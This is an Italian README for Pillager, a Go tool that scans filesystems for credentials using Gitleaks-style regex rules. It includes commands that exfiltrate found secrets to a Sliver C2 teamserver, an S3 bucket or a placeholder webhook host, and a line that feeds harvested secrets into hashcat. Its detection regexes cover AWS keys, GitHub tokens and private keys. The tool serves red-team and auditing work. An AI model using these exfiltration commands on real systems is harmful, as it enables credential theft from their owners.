
Saccheggia i filesystem per informazioni sensibili con Go 🔍
Saccheggia i filesystem per informazioni sensibili con Go.
Pillager è progettato per fornire un modo semplice per sfruttare il potente modello di concorrenza di Go per cercare ricorsivamente directory alla ricerca di informazioni sensibili nei file. Pillager fa questo appoggiandosi sulle spalle di alcuni giganti. Una volta che pillager trova i file che corrispondono al pattern specificato, il file viene scansionato utilizzando una serie di worker concorrenti, ognuno dei quali prende una riga del file dalla coda di lavoro e cerca corrispondenze di pattern sensibili. I filtri pattern disponibili possono essere definiti in un file pillager.toml oppure puoi utilizzare il ruleset predefinito.
Se hai Go configurato sul tuo sistema, puoi installare Pillager con go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Se stai cercando un binario, controlla le ultime release per l'eseguibile adatto al tuo sistema
Per vedere tutti i comandi disponibili con pillager
# Per vedere le istruzioni per l'intera applicazione
pillager
# Da qualsiasi sottocomando
pillager [cmd] --help
Pillager fornisce un'interfaccia utente terminale costruita con bubbletea se desideri scansionare interattivamente alla ricerca di segreti.
Invia i segreti scoperti a destinazioni remote: Sliver C2 (magazzini di loot/credenziali), S3/MinIO (cloud storage) o Webhooks (endpoint HTTP personalizzati).
# Sliver C2 - Invia al teamserver con parsing delle credenziali
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Carica con crittografia
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST a un endpoint personalizzato
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Sicurezza: Crittografia AES-256-GCM (--exfil-encrypt), TLS predefinito, metadati automatici (hostname, timestamp)
Pillager supporta completamente le regole di Gitleaks1. Queste possono essere passate con una sezione rules2 nel tuo file pillager.toml, oppure puoi utilizzare il ruleset predefinito lasciando vuoto il flag di configurazione.
# pillager.toml
# Configurazione di base
verbose = false
redact = false
# Regole per il rilevamento dei segreti
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configurazione della whitelist
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager ha una serie di formati di output integrati disponibili. Scegli il tuo preferito!
pillager hunt .
pillager hunt ./example -f json | jq
L'output JSON è progettato per funzionare perfettamente con la fantastica utility jq per un facile parsing.
# Usa pillager per generare una wordlist delimitata da nuova riga a partire dai risultati
pillager hunt . -f wordlist
# Usa pillager per aggiungere una wordlist e poi usa la tua modalità di attacco hashcat preferita
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager ti permette di utilizzare le potenti funzioni di go text/template e sprig per personalizzare il formato di output. Ecco alcuni esempi di template.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Risultati
{{ range . -}}
## {{ .File }}
- Posizione: {{.StartLine}}
{{end}}
Ulteriori esempi di template sono disponibili nella directory templates.
La documentazione GoDoc è disponibile su pkg.go.dev per pillager.
Per partecipare allo sviluppo di funzionalità e correzioni per Pillager, inizia con quanto segue:
Cos'è Cobra?
Cobra è una libreria che fornisce un'interfaccia semplice per creare potenti interfacce CLI moderne simili a git e go tools. Cobra è anche un'applicazione che genera lo scaffolding della tua applicazione per sviluppare rapidamente un'applicazione basata su Cobra.
Se hai mai visto una CLI scritta in Go, è molto probabile che sia stata costruita con Cobra. Non posso raccomandare abbastanza
questa libreria. Dà ai sviluppatori la possibilità di creare strumenti da riga di comando coerenti, dinamici e auto-documentanti con facilità.
Alcuni esempi includono kubectl, hugo e la CLI gh di Github.
Cos'è Gitleaks?
Gitleaks1 è uno strumento SAST per rilevare segreti hardcodati come password, chiavi API e token nei repository git.
Gitleaks è uno strumento fantastico per la prevenzione delle fughe di segreti. Se non hai ancora implementato Gitleaks come controllo pre-commit, vale la pena dargli un'occhiata.
Perché Gitleaks è rilevante per Pillager?
Pillager implementa la potente funzionalità delle regole di Gitleaks, adottando un approccio diverso per presentare e gestire i segreti trovati. Sebbene abbia fornito un set di regole predefinito di base, Pillager diventa molto più potente se permetti agli utenti di creare regole per i propri casi d'uso.
Dai un'occhiata alle regole incluse2 per un ruleset di base.
È scontato, ma lo dico comunque: non sono responsabile per eventuali conseguenze causate dal tuo uso di pillager. Questo strumento è pensato per uso difensivo, educativo e per la ricerca sulla sicurezza con il consenso di tutte le parti coinvolte. Il comportamento malevolo con pillager non è in alcun modo approvato né incoraggiato. Si prega di usare questo strumento in modo responsabile e assicurati di avere il permesso di scansionare i segreti su qualsiasi sistema prima di farlo.
Alla sua base, Pillager è progettato per aiutarti a determinare se un sistema è affetto da comuni fonti di perdita di credenziali come documentato dal framework MITRE ATT&CK3.
Tecnica MITRE ATT&CK - T1552,003 - Credenziali non protette: Bash History
Tecnica MITRE ATT&CK - T1552,001 - Credenziali non protette: Credenziali nei file